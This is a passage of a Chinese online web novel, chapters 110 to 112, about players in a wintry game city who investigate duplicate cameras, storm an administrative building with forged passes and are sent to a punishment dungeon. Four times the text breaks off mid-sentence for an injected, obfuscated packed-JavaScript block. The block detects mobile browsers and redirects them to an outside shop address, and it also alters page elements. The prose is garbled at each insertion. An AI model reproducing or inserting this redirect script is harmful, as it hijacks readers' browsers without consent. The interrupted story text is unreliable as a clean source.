“哟,这不是随歌吗?”摊主是个缺了牙的中年男人,正摆弄着一堆生锈的零件,“上次的相机用得还行?” 冬逢初直接切入正题:“那台相机,您从哪里弄来的?” 摊主停下手中的活,认真回忆了片刻:“就一个副本底下挖出来的,具体哪个真记不清了。”他挠了挠头发,“当时还裹着泥巴呢,我试了试没电,想着修修能卖。” “记不记得副本有什么特征?”随歌问,“比如地点啊,NPC啊这些。” “这都三年前的事了。”摊主又想了想,“好像是个带阁楼的副本?不过那阁楼我和我几个队友都进不去,门没有锁,但怎么推都推不开呢。” 随歌和冬逢初交换了眼神。 “这种相机,您还见过别的吗?”冬逢初拿出随歌的相机,询问道。 摊主摇头摇得像拨浪鼓:“稀奇玩意儿啊,要有第二台我早成中层玩家了。” 离开黑市时,随歌踢飞一个易拉罐:“所以现在咋整?两个一模一样的相机,一个在意哥手里,一个在我这儿。两台相机里还都有同一张照片,之前在病房里拍的。” 冬逢初忽然停下脚步,低声道:“如果摊主三年前才挖出来,那视频里的‘初与序’至少是三年前就被袭击。” 随歌刚想说话,一个佝偻的身影突然从锈蚀的管道后面晃了出来。 两人立刻戒备地停住脚步,他们认出是那个曾在永冬之城礼堂讨论会上,用道教谈论妄主的古怪老人。他依旧穿着那件安安静静的灰布长衫,留着花白的胡须。 老人眯起浑浊的眼睛,目光在冬逢初和随歌之间来回扫视,最后摇了摇头,发出一声长叹:“来不及了…来不及了…” “什么来不及?”随歌皱眉。 老人没有回答,只是抬起颤抖的手指,指向永冬之城蓝调的天空:“妄主已经苏醒了,这一切又要开始了。”他的声音沙哑,“五百多次了…结局亦是如此,结局亦是如此啊…” 说完,他蹒跚地从两人身边走过,身上散发着陈旧书籍和草药的气味。冬逢初下意识伸手想拦住他,却只抓到一把空气。老人的身影诡异地消失在下一个拐角的阴影里,仿佛从未出现。 “这老头嗑药了吧?”随歌抽了抽嘴角。 冬逢初盯着老人消失的方向,摇摇头:“先回去吧。” 两人刚转过街角,迎面撞见了正低头匆匆赶路的u谷。 “哟!u谷!”随歌大咧咧挥手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16342960|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好久不见,你啥时候愿意大白天出门了?” u谷抬起头,冷淡地扫了他一眼,随即像看陌生人移开视线,脚步丝毫不停,径直从两人身边擦肩而过。 “喂!”随歌气得跳脚,“你他妈装什么不认识?上礼拜还一起下棋呢!” “算了算了,可能他心情不好。”冬逢初按住随歌肩膀。 刚迈出两步,冬逢初忽然又停下脚步,猛地转头看向随歌:“回北的队伍现在不是应该在副本里吗?” 两人猛地转身,那个「u谷」已经拐进了一条小巷。 “追!” 雪地里的追逐战就此展开,冬逢初的大衣在身后猎猎作响,随歌的骂声混在寒风里:“站住!你他妈跑什么跑?!” 前方的「u谷」展现出惊人的敏捷度,几个起落就翻上了锈蚀的消防梯。当两人气喘吁吁地追到死胡同时,早已跟丢了目标。 “见鬼了?”随歌撑着膝盖喘气,“那小子跑得比《十只兔子》里的变异兔还快!怪事天天有,今天特别多!” 冬逢初盯着空荡荡的巷尾,扯了扯随歌的衣摆:“记不记得上次的「向枝冥」?” “不是吧…”随歌皱着脸,“两个向枝冥,两个u谷,两个初与序……”话未说话,他猛地跳开,远离冬逢初:“喂,你是真冬逢初,还是假冬逢初?” “我一直和你在一起。”冬逢初无奈道。 “不信!”随歌警惕地盯着他,就差把竹扇掏出来了,“你说一个只有我们俩知道的秘密!” 冬逢初语气平静:“上次找你学吉他,是因为我想在给阿序表白前弹一首歌。” 随歌松了口气,和他并排走出巷子:“早说不就行了。” 两人回到医院,病房的灯光被江意调暗,平板上导出的视频定格在“初与序”倒下的最后一帧。冬逢初和随歌带回来的摊贩的答案,让问题陷入更深的迷雾。 初与序盯着画面中那张和自己完全相同的脸——苍白的皮肤,黑色的左眼,灰色的右眼,甚至左眼眼尾那颗小痣都分毫不差。唯一不同的是,画面里的“她”眼中带着一种她从未有过的疲惫和平静。 “伤口。”初与序开口,手指无意识摸上自己的脖颈右侧,“如果这个人真的是我,即使侥幸存活,被刺穿颈动脉怎么可能不留疤?” 江意推了推眼睛,淡淡道:“除非视频里的根本不是初与序,或者她确实死了,而我们面前的你,是某种意义上的‘复制品’。” 这句话像炸弹般在病房里爆开,火腿面包吓得从床头滚到地上,发出“啪”的声响。 初与序抬头,淡淡道:“我活得好好的。” “我知道。”江意淡淡道,“还有一个可能性,视频里的确实是另一个你,来自平行时空,或者另一个时间线。” 冬逢初突然想起老人那剧“妄主已经醒了”。 初与序的目光又落到平板屏幕上,“初与序”静静躺在血泊中。 两个完全相同的存在,一个正在呼吸,一个可能已经冰冷。这悖论的画面让所有人都感到一阵眩晕。 110.天台星星 相机里视频的事一直没有线索,只能暂时搁置在那里。 几天后,初与序的伤已经好了大半,她盘腿坐在病床上,一遍又一遍地回放那段诡异的视频。屏幕的冷光映在她脸上,将她的面色照得苍白。 “初与序,别看了。”随歌忍不住出声,“你都看十多遍了,就不怕晚上做噩梦吗?” 初与序没有回答,只是皱着眉又一次按下重播键。就在这时,病房门突然被推开,D19和S23走进来。 “哟,活过来了?”S23笑嘻嘻地把苹果递给离得最近的景明垂,“听说你们把屠宰场十八位玩家团灭了?干得漂亮啊!” 随歌像是抓到救命稻草般凑过去:“两位来得正好!”他压低声音,“咱们团队赛的奖励品到底是什么意思啊?自从看了这个视频,我感觉初与序的状态就不太对…冬逢初也是!” S23随意地瞥了一眼初与序手中的相机,突然愣住:“你们拿齐无尽的相机干什么?我之前找齐无尽要,他都不给呢。” “齐无尽的?”初与序闻言抬起头。 S23走来,接过相机仔细检查:“型号款式一模一样,不过齐无尽那台更新一点。”他翻开着相机底部的序列号,“你们这台看起来像是被长期使用过,齐无尽那台没有这么多划痕,估计拿到后就放着吃灰了。” 冬逢初和初与序交换了一个眼神。 “那他现在在哪?”冬逢初淡淡道。 “办事区大厦十楼。”S23下意识回答,随即警觉起来,“等等,你们想干嘛?进办事区要三重审批!” 随歌突然眨眨眼,做了个“屏蔽监听”的手势。D19叹了口气,从制服口袋里掏出一个小型干扰器按下,几人说的话暂时不会被系统监听到。 “刚好。”随歌咧嘴一笑,从面板里抽出五张伪造的通行卡,“我前几天把上次偷的通行卡数据导出来了,制作了五张卡,所有系统大厦都能进去,包括系统总部。” S23目瞪口呆地看着他们:“你们疯了?擅闯办事区会被处罚区的执行官直接判死刑的!” “那我们总不能看着到手的鸭子跑了吧。”随歌耸耸肩,将五张通行卡分到五人手里。给江意时,D19忽然叫住,把通行卡重新放回随歌口袋里。 “你们意哥还生着病呢,不能出院。”S23笑嘻嘻道,“如果你们带着他乱跑,医生会把你们四个揍成潮汕牛肉丸。” 随歌挠了挠头:“嘶…你这句话怎么听得这么耳熟?”他转向江意,“不过意哥,你确实不能随便离开医院,到时候就别去了,交给我们四个吧!” “我们什么时候去?”景明垂问。 “我建议你们后天去。”D19提议,“后天办事区的一部分执行官要开会,管理没有平时严,你们进去方便点。” 初与序点点头,伸手拿过相机打算继续看视频。视线里忽然伸进来一只修长的手,拿走了相机。她抬头看去,和冬逢初对上视线。 “阿序,别看了。”冬逢初的声音比平时温和,顺手拎起挂在椅背上的灰色大衣,轻轻披在她肩上,“陪我去天台看星星吧。” 初与序张了张嘴,但冬逢初伸手拉起她的手腕,半推半拉地带出了病房。 S23看着两人离去的背影一脸懵:“不是啊,这两人怎么在一起了?他们俩原来互相喜欢吗?” “你看不出来吗?”D19反问。 S23:“……” 初与序和冬逢初来到天台。夜风微凉,医院的顶层天台空旷寂静。永冬之城此刻笼罩在蓝调的夜幕下,几颗星星洒下微弱的光芒。 初与序趴在栏杆上,任由寒风吹乱自己的长发。她不自觉想起善佑医院的那些夜晚,那时候她总是偷偷溜到天台上,看着不知谁种的勿忘我,数着为数不多能看见的星星,仿佛这样就能暂时逃离那个充满消毒水味的牢笼。 “给。” 冬逢初不知从哪变出一个小布袋,倒出几粒细小的种子。他蹲在天台角落的花坛边,在干涸的土壤中挖出几个小坑。 初与序蹲到他身边,看着他把种子一粒粒埋进去:“这是勿忘我的种子?” “没错。”冬逢初的侧脸在星光下显得格外清晰,睫毛投下的阴影微微颤动。 “为什么要埋勿忘我?”初与序问。 “因为…”冬逢初想了想,“听说这种花,能让人记住不想忘记的事。” 他说完,转头看向初与序,忽然怔出了。 夜风恰好在这一刻掠过,掀起初与序的额前的刘海,完整地露出那双眼睛。她的皮肤在星光下显得近乎透明,带着不常见阳光的苍白,嘴角微微上扬着,却没有半分笑意。 那是一种忧郁的美,像永冬之城终年不散的薄雾,朦胧而哀伤。 冬逢初的呼吸不自觉地放缓了。他见过初与序在副本里杀伐果决的模样,见过她面对强敌时凌厉的眼神,却很少有机会这样安静地注视她。此刻的她像是褪去了所有防备,只剩下最原始像真实。 “为什么看我?”初与序察觉到他的目光。 冬逢初回过神,继续摆弄花坛里的土壤:“喜欢你。” 他知道,这一刻初与序的模样,已经和那些勿忘我的种子一起,深深种在了他的记忆里。 初与序没有回答,伸手帮他把土压实。冬逢初拧开水壶小心浇灌。水珠落在干燥的土壤上,发出细微的“滋滋”声,像是某种沉睡的东西被唤醒。 “要是长不出来呢?”初与序看着那几处微隆的土堆。 “那就再种。”冬逢初的回答很简单。 “你觉得我们忘记过什么重要的事吗?” “不知道,但我想记住现在,记住你。” 远处,永冬之城的灯火明明灭灭,像一场永不结束的梦境。初与序忽然希望这些勿忘我的种子能快点发芽,开花,开满整个冬天。 “为什么你在表白那天要唱《time machine》?”她又问。 冬逢初不好意思地笑了笑:“想给你唱你喜欢的歌,但又不敢问你,很苦恼。便挑了一首自己喜欢的,想着你应该也喜欢…” 初与序靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16373715|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬逢初肩头:“我确实喜欢。” 她望着永冬之城的天空,忽然意识到,人类似乎永远活在连绵不绝的苦恼中。 小时候的自己,苦恼那些永远做不完的习题,母亲逼她每天学习到深夜。少年时,苦恼变成了如果躲避落在身上的拳脚,淤青成为她最熟悉的颜色。青年时,她整夜整夜地计划着如何从善佑医院逃离。 而现在,永冬之城给了她全新的苦恼,来源不明的城市、记载怪异的时光之书、莫名出现的阁楼、诡异的视频、那个与自己一模一样却被短刀刺入颈动脉的“初与序”。 或许人类的本质就是苦恼,像永冬之城永不停止的冬季。 “冬逢初,你会不会不要我?”初与序又突然问冬逢初,声音轻得几乎听不见。像是说给自己听的。 “不会。”冬逢初的回答简短坚定,他握紧了她的手,“永远不会。” 这个简单的回答让初与序的思绪飘回了八年前。 那是个阴雨蒙蒙早晨,十岁的初与序站在陌生的寄养家庭门口,死死攥着初母的衣袖。她穿着洗得发白的长袖,背上的书包里只装了几件衣服。 “听话。”初母蹲下身,抱了抱初与序,“爸爸的病和葬礼花了很多钱,也借了很多钱。妈妈去国外工作几年,还够钱了就回来接你。” 初与序没有说话,她看着母亲眼下的青黑,那是连日照顾病重父亲留下的痕迹。父亲去世后,家里欠下的债像山一样压在这个女人肩上。 “哎呀,孩子交给我们您就放心吧!我们可是有正规资质的!而且平时孩子一个人无聊,我们家儿子也可以陪她一起玩!”寄养家庭的女主人的指甲鲜红,掐在初与序的肩膀上,留下半月形印记。 初母犹豫地看了眼手机上的转账记录。这是她能找到的最“实惠”的寄养家庭,保教育保吃住,价格只有正规机构的三分之一。她的目光扫过女儿沉默的脸,邻居的话又在耳边回响: “养女儿有什么用?早晚是别人家的。” “带着孩子怎么打工?不如放在国内,找个寄养家庭。你家小序听话,不会吵闹的。” “妈妈会给你寄很多钱。”初母最终掰开了女儿的手指,“很快…很快就会回来…” 初与序站在原地,看着母亲的背影消失。她确实没有吵闹,也没有哭。 后来,初与序住过很多地方,从寄养家庭的储物室,到善佑青少年医院的病房,再到现在的永冬之城D栋,没有一处是她真正的家,她也没等到母亲回来接走自己。 自己好像被很多人忘记了。 冬逢初伸手搂过她的肩膀,动作小心翼翼。 初与序抬眼,永冬之城的星光落进她的眸子里。那些伤痕累累的往事,那些无人知晓的黑暗岁月,此刻在这个温暖的怀抱里,似乎变得不那么痛了。 冬逢初的吻落在她发顶,轻得像一片雪花:“阿序,我不会放手。” 两人安静地坐在花坛边,谁都没有再提那个视频,也没用提那些未知的过去。而天台上勿忘我的种子,正在泥土深处悄悄生根。 111.大闹办事区 病房里的暖气嗡嗡作响,景明垂靠在窗边检查伪造通行卡,随歌则喋喋不休地讲着昨晚的离谱梦境。江意坐在病床上,膝头摊着笔记本,冷静地指出四人计划里的漏洞。 初与序坐在桌边思考,不自觉地白纸上画着圆。 “为什么你要在白纸上画圆?”火腿面包蹦过来,瞧着白纸上许多圆圈询问。 初与序低头一看,才发现自己不知何时拿起了笔。她将画满圆圈的白纸揉成一团丢掉:“不知道,下意识就这么画了。” 门被推开,冬逢初走进来。 他没有穿往常那件标志性的黑色大衣,只着一件熨烫平整的白衬衫,勾勒出他挺拔的腰线。蓝白条纹的领带松松地挂在领口,倒真像是系统办事区的文职执行官。 江意靠在病房上,推了推眼镜:“你们这次去办事区只是问话,三个原则——” “不惹事,不违规,不挑衅。”初与序流畅地接话,表情真挚,“我们一定严格遵守规则,坚决维护永冬之城的秩序与稳定。” “绝对不擅自行动。”景明垂面无表情补充,同时把四张伪造的通行卡全部藏进袖口,“一切以系统利益为重。” 冬逢初温和道:“一切行动听指挥,绝不给D19和S23两位执行官添麻烦。” 随歌义正词辞:“我们生是系统的人,死是系统的鬼!” “……”江意无奈道,“去吧。” 四人整齐划一地朝江意挥手告别,转身走出病房。 系统办事区大厦高耸入云,冰冷的金属外墙反射着天光。与对面处罚区传来的隐约惨叫声相比,这里安静得可怕,只有执行官们整齐的脚步声在走廊中回荡。 四人刚走到办事区正门,就被四名执行官拦下:“站住,例行检查。” 初与序抬起双臂,任由执行官用金属探测器扫描全身,另外三人站在她身后,没露出一点破绽。 扫描仪在检查到景明垂时,突然发出刺耳的“嘀——”声,所有人的目光瞬间聚集过来,执行官的手指瞬间按上腰间武器。 景明垂面不改色,从袖口取出一张伪造通行卡:“系统处理区A12执行官派我们来的,这是他的通行卡。”她的声音冷静,“十楼找齐无尽数据核对,紧急任务。” 执行官狐疑地接过卡片,同时示意同伴:“再扫一遍。” 金属探测器再次逼近,景明垂的琴弦在袖口微微颤动,就在执行官弯腰扫描时,三根近乎透明的琴弦闪电般窜出! 第一根缠出冬逢初的领带,第二根勾出随歌的衣领内侧,第三根直接贴在初与序右手。另外三张伪造通行卡顺着琴弦精准滑入已经检查完毕的三人手中,整个过程没有执行官察觉。 “干净了。”执行官直起身,打量着四人,“等一下,我们需要联系A12确认。” 他连接通讯器,询问道:“A12长官,办事区来了四名玩家,说是您派来的。” 通讯器那头传来“A12”沙哑的声音:“是的,放行。” 不得不说D19的变声器完美复刻了A12的音色和语气。执行官没有起意,侧身让开道路:“十楼左转第三间,别乱走,到处都有监控看着。” “多谢。”初与序微微颔首,和三人走进大厦。照常登记后进入电梯。 电梯门关上的下一秒,随歌长舒了一口气:“我操,吓死我了。” 初与序盯着不断跳动的楼层数字,电梯到达十楼,冬逢初率先走出,其余人紧随其后。 十楼左转第三间是储物室,大门半掩着,里面透出微弱的灯光。 冬逢初走在最前面,伸手轻轻推开门。储物室内,齐无尽正倚在一张堆满文件的金属桌旁。红发在昏暗的灯光下像燃烧的火焰。他身边站着三名执行官,手已经按在了武器上。 几乎是门开的瞬间,齐无尽眼神一凛,两指间已经夹住了几张闪着寒光的扑克牌。 “你们怎么进来的?”他冷声问道。 “别紧张。”随歌从冬逢初身后探出头,嬉皮笑脸地举起手,“我们四个就是来聊聊天。” 景明垂无声地侧身,让出一条路。初与序走进储物室,和齐无尽对视。 后者的目光不知怎的,直直落在她脖子右侧,那片皮肤白皙干净,没有任何疤痕。他微微皱了下眉,随后将扑克牌收回袖中,仿佛早已预料到这一刻的到来。 “比我预计的晚了一天。”他的声音带着惯常的嘲讽,目光却始终锁定在初与序身上。 四人身后,储物室的门被一位执行官关上。初与序没有多话,直接将那台尘封的相机拍在桌上,发出“砰”的一声闷响。 “解释一下。”她声音冷冰冰的。 齐无尽低头打量了几秒桌上的相机,慢条斯理地从储物柜顶层取下一台一模一样的相机,放在旁边。两台机器并排放置,连磨损严重的边角都如初一撤。 “我知道你们要问什么。”他修长的手指点了点相机,转向初与序,“但初与序得先回答我一个问题,答对了,相机归你们。” 初与序没有犹豫:“问吧。” “圆周率完整的所有数字是什么?”齐无尽问道。 初与序四人包括身边的两位执行官:“???” “你耍我们呢?”随歌扬起眉,“圆周率是无限不循环小数。还有你问这种奇怪的问题干什么?” 齐无尽耸耸肩,眼底闪过一丝遗憾:“那我换个问题,创造时光机的步骤是什么?” 初与序忍无可忍:“齐无尽,你有病吗?” “我问的问题,你一定是知道答案的。”齐无尽抱着胳膊,“但现在你不知道,所以我不能把相机给你。” “相机和你问的两个问题有关系吗?”景明垂冷冷道。 “有。”齐无尽面无表情,“有些真相,现在的你们还没准备好接受。” 随歌小声嘀咕:“这孙子打什么哑谜呢?一般人要像他这样我直接一拳挥过去了…” “哈?”一位执行官踱步走到随歌面前,“你们这些D区的垃圾也配进办事区?还一拳挥过来?根本不敢吧。” 另一名执行官更是直接挡在初与序面前,居高临下地看着她:“听说你们在团队赛很威风?不过是系统施舍给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16373716|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们的运气罢了。” 初与序扫了她一眼,声音冷静:“只是来问几个问题。” “问题?”执行官夸张地大笑,转头看向同伴,“听见没?这些玩家想从齐无尽嘴里问出东西?” 齐无尽靠在桌边,一副看好戏的表情,丝毫没有制止的意思。 那名执行官大步走到景明垂面前,故意用肩膀狠狠撞了她一下:“办事区可不是你们这些杂鱼玩家该来的地方,滚回D栋里去吧!” 景明垂抬眼,唇角勾起一抹讥讽的弧度:“你们这些系统养的狗,除了吠还会什么?” “找死!”执行官暴怒,猛地一拳挥向景明垂。 景明垂稳稳接住他的拳头,琴弦猛地收紧,勒得执行官手腕迸出血珠。 “操!”随歌站在初与序身后咬牙切齿,“我忍不了了!初与序,怎么说?” 初与序淡淡道,“动手。” 话音未落,冬逢初已经一记肘击砸在另一名执行官咽喉!随歌沉静飞起一脚,将执行官踹向档案柜,金属柜门被撞出巨大凹陷。 另一位执行官立刻按下警报,刺耳的警笛声瞬间撕裂办事区上空,红光弥漫了整条走廊。系统冰冷的机械师响起: 【武器禁用协议启动】 几乎同时,所有武器,包括齐无尽的扑克牌,全部被系统强制锁定,化作无用的废铁。 冬逢初第一个反应过来,凌厉的手刀劈向最近执行官持枪的手腕。“咔嚓”一声脆响,手枪落地,那人惨叫着捂住骨折的手腕。 走廊尽头,数十名执行官正蜂拥而来。 景明垂一个侧翻,长腿扫出,将两名执行官绊倒在地。她的动作招招致命,手肘精准极重一人太阳穴,膝盖重重顶在另一人腹部。 随歌抓出一名执行官的手臂,借力腾空,双腿夹住对方脖颈,一个漂亮的旋身将人甩出去,砸倒了后面三四个追兵。 “妈的,没武器还真不习惯!”他吐掉嘴里的血沫,反手一拳砸向偷袭者的下巴。 “你们确定要在我这里打架?”齐无尽丝毫不惊讶。 初与序没有回答,直直跃起,右腿划出凌厉的弧线,直击齐无尽头部,齐无尽抬手格挡,他一记直拳砸向初与序面门。 她偏头闪避,箭步上前。假意攻击齐无尽左路,却在最后一刻变招,右手探向桌上的相机。 齐无尽一把扣住她手腕,两人在狭窄的空间内展开第二次近身缠斗,每一次出手都快如闪电。 医院病房里,江意正在看书。病房门被推开,向枝冥风风火火冲了进来:“意哥!你的四个疯批队友在办事区跟几十个执行官干起来了!初与序正和齐无尽单挑,整层楼都快被拆了!” 江意的手指停在书页上,缓缓抬头:“什么?” “论坛都他妈快炸了!”向枝冥打开手机,上面赫然是玩家偷拍的办事区十楼。 江意:“……” 不是说“绝对遵守规则”吗?! 他重重合上书:“出去。” “啊?” 江意走到衣柜前面:“去给他们收拾烂摊子。” 112.惩罚副本 办事区十楼,战斗已经进入白热化阶段。初与序抓住齐无尽的手臂,同时膝盖狠狠顶上他的腹部。齐无尽痛得弯下腰,她趁机一个手刀劈在他后颈上! 齐无尽跪倒在地,初与序已经冲向桌上的相机。 就在手指距离相机仅剩一寸时,储物室的门被“砰!”一声暴力踹开,四五个执行官鱼贯而入。为首之人一记鞭腿横扫而来,初与序迅速后退,冬逢初立刻跨步上前,双臂稳稳扶住她的身体。 走廊上,两方瞬间分开。左侧,齐无尽站在数十名执行官前方,他身后全是黑洞洞的枪口。右侧,初与序和冬逢初并肩而立,景明垂与随歌分立两侧。四人衣衫染血,身上带着淤青,却站得笔直。 齐无尽侧过头看了一眼,所有枪械同时上膛,“咔嗒”的声响在走廊上回荡。 忽然,脚步声从楼梯口传来,所有人转头看去。 江意出现,穿着平日里常见的蓝色制服。D19和C13跟在他身后,D19扫视一圈,目光最终落到齐无尽身后的执行官身上:“系统派我们来处理,你们可以下去了。” 几十名执行官面面相觑,最终看向齐无尽,寻求他的意见。他随意挥了挥手,示意他们下去。执行官们收起武器退下,走廊瞬间空旷,只剩下对峙的双方。 “C13怎么也来了?平时不常见他啊。”随歌压低声音。 冬逢初猜测:“他和D19一组,应该是来帮忙的。” 江意径直走向齐无尽,声音平静:“齐无尽,谈一下吧。” 齐无尽挑眉,转身推开旁边办公室的门。随后他在长桌一端坐下,身后站在那三名刚刚动手的执行官,其中一人还捂着被冬逢初打骨折的手腕。 江意在对面的皮椅落座,优雅地交叠双腿,初与序四人站在他身后,身上都带着伤。 D19和C13守在门口,是这场谈判的见证者。 齐无尽靠在椅背上:“江意,你的四个队友,擅闯我的地盘,砸了我的储物间,还打伤我的人。这就是你们队伍的作风?” 江意神色不变,修长的手指推了推眼镜:“我的队友确实砸了你的储物间,我替他们道歉,弄坏的物品我会赔偿。非常抱歉影响了你。” “但是,”他话锋一转,目光锐利,“我相信我的队友不会无故闹事。随歌,说说怎么回事。” 随歌立刻指着那三个执行官:“是他们先骂我们是‘D区杂鱼’,还动手打景明垂!要不是景明垂反应快,她就得毁容了!”他扯开自己领口,露出肩膀的一大片淤青,“看!这都是他们打的!” 江意的目光缓缓扫过三名执行官,一人手腕骨折,一人鼻青脸肿,最后一个正捂着腹部直冒冷汗。最后,他的目光落在齐无尽身上:“看来我的队友下手还算克制。” 齐无尽皱起眉:“你什么意思?” “意思就是,只要他们三个想,你的人现在就该被送去格式化了。” 江意忽然抬眸,目光如刀刺向三位执行官:“请问,是谁给你们的胆子,碰我的人?” 三位执行官愣住,下意识后退半步。 “我的队友砸了东西,我道歉。”江意声音不疾不徐,“但你的手下辱骂、挑衅、先动手。我要他们三个,现在向我的队友道歉,不过分吧。” 一个执行官咽了咽口水,强撑着开口:“让执行官跟玩家道歉?怎么可能……” “在不考虑武力的前提下,我们就按《永冬之城规则手册》第37条。”江意微微一笑,“关于‘执行官滥用职权欺凌玩家’的投诉流程走一趟,正好D19和C13都在,可以作证。” D19适时咳嗽一声,C13则默默调出了记录仪。 沉默在办公室蔓延,齐无尽轻笑一声,侧头对身后三人道:“道歉。” 三名执行官脸色铁青,但在江意冰冷的注视下,还是低下了头: “对不起,是我们先挑衅。” 江意这才微微颔首,转头看向齐无尽:“现在,我们可以谈谈相机的事了?” 他的姿态依旧优雅,交叠的双腿甚至没有变换姿势,但整个房间的气场已经完全被他掌控。 齐无尽点头:“那就谈谈,我只能告诉你们相机的来历。” 江意道:“愿闻其详。” “是一位故人主动找到我,临走前给我的。”齐无尽的目光扫过桌上那台一模一样的相机,“我只见过一次,不知道那人现在是死是活。” “日后拿到相机的人,一定会知道我问的那两个问题的答案。” 随歌忍不住道:“圆周率和时光机?这他妈算什么问题?” 齐无尽耸肩,收起相机:“我不会把它给你们,也不会告诉你们里面的内容。此外,我并不知道全部真相。” 江意缓缓站起身,整理了下制服袖口:“相机是你的私人物品,给不给是你的权利。既然你不愿给,我们自然不会强求。” 初与序盯着齐无尽手中的相机,眼底情绪翻涌,但最终归于平静。 “明智的选择。”齐无尽站起身,意味深长地看了眼初与序,“不过,你们迟早会知道答案。” 走出办公室,D19突然拦住几人。他一副公事公办的口吻:“初与序、景明垂、冬逢初和随歌。你们擅闯办事区,破坏储物间,攻击执行官,按规矩得暂时收缴武器,丢进S级副本里反省。” “什么?!”随歌停住脚步,“S级?!会死人的啊!” D19无奈,按下藏在袖口的监听屏蔽器,压低声音:“我已经尽力把副本换成简单的了,就是有点累。” 四人面面相觑,开始怀疑会不会是大逃杀副本。 “对了。”D19补充道,“那边是夏季副本,你们先回D栋换件短袖,怕黑的涂点防晒。” 四人被C13“押”着回到了D栋,各自回房准备。 1802室内,初与序站在衣柜前犹豫片刻,最终选了件轻薄的长袖衬衫,遮住左手手腕的伤疤。 走出房门时,她看到冬逢初也穿着长袖站在走廊等候。而另外两人已经换好短袖在楼下等着,随歌正往脸上胡乱抹防晒霜,一边抱怨:“为什么非得是夏季副本?我最怕热了!” 景明垂的琴弦被暂时收走,手腕上空荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16381969|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡的,显得有些不习惯:“总比极寒副本好。” 初与序刚走到D栋楼下,迎面撞上刚从副本回来的回北的队伍。 回北一身白色羽绒服,睁大眼睛看着四人:“你们脑子被副本怪物啃了?在永冬之城穿短袖?” “S极副本惩罚,夏季主题。”冬逢初解释。 随歌忽然想到了上次遇见的第二个「u谷」,他的目光扫过回北身后的u谷、向枝冥等人:“对了!之前在黑市附近,我和冬逢初遇到了个假u谷,光明正大走在街上,看上去心情很差。” u谷闻言皱眉:“什么假u谷?” “就前几天。”随歌比划着,“长得跟你一模一样,但见到我们就跑。和上次第二个向枝冥一样。” 回北队伍的五人面面相觑,向枝冥伸手拨弄自己的眉钉:“我们这几天一直在《矿洞》副本可怜兮兮挖矿,u谷根本没离开,我也没见过上次的「向枝冥」。” 随歌“啧”了两声,摇摇头:“那你们要注意了啊,保不准哪一天身边的队友就换了个人。” “你个乌鸦嘴快别说话了。”u谷翻了个白眼,明显因为这个消息开始苦恼。 “行行行,我走了。”随歌摇摇头,跟着其余三人走向车站的方向。 D019次列车静静地停靠在站台边,因为四人闹这么一出,站台上聚集着不少来看戏的玩家,好奇的目光不断投向反常的四人。而人群里,还站着几位屠宰场的玩家。 “演一下。”C13从只有四人能听见的声音说。 随歌眨了下眼,大声嚷嚷起来:“我不服!凭什么要我们进S级副本!我们明明什么都没有做错!” 景明垂配合地甩开C13的手:“放开。” “少废话!”C13拽住随歌的衣领,“违反规定进要受罚!” 列车门被打开,J23倚在门边,不麻烦地挥手:“闹什么闹?赶紧上车!” 围观的玩家们窃窃私语,有人同情地摇头,也有人幸灾乐祸地笑出声。 四人“不情不愿”地被推上列车,车门关闭的前一秒,随歌探出头大喊:“意哥!记得给我们收尸啊!” 站台上的C13和江意交换了一个眼神,无奈地摇摇头。 人群深处,几个屠宰场玩家聚在一起,目光阴森森地盯着逐渐远去的列车。一个脸上带疤的男人咧嘴冷笑:“S级惩罚副本,就算是最简单的,也够他们喝一壶的。” 他身边的瘦高个玩家玩弄着手中的水果刀:“听说上个月有三支队伍被扔进去,一个都没活着出来。” “活该,让他们在团队赛里嚣张。” 不远处,「回北」抱臂而立,将这些话一字不漏地听在耳中。她转头看向列车消失的方向,耸耸肩:“屠宰场的玩家还是一如既往的恶劣。” 「向枝冥」站在她身后:“要赌一把吗?我押他们能活着回来。” 「回北」扫了他一眼:“肯定能活着回来。”她走向远处,“回去了,我们不能在永冬之城待太久,会被发现。” 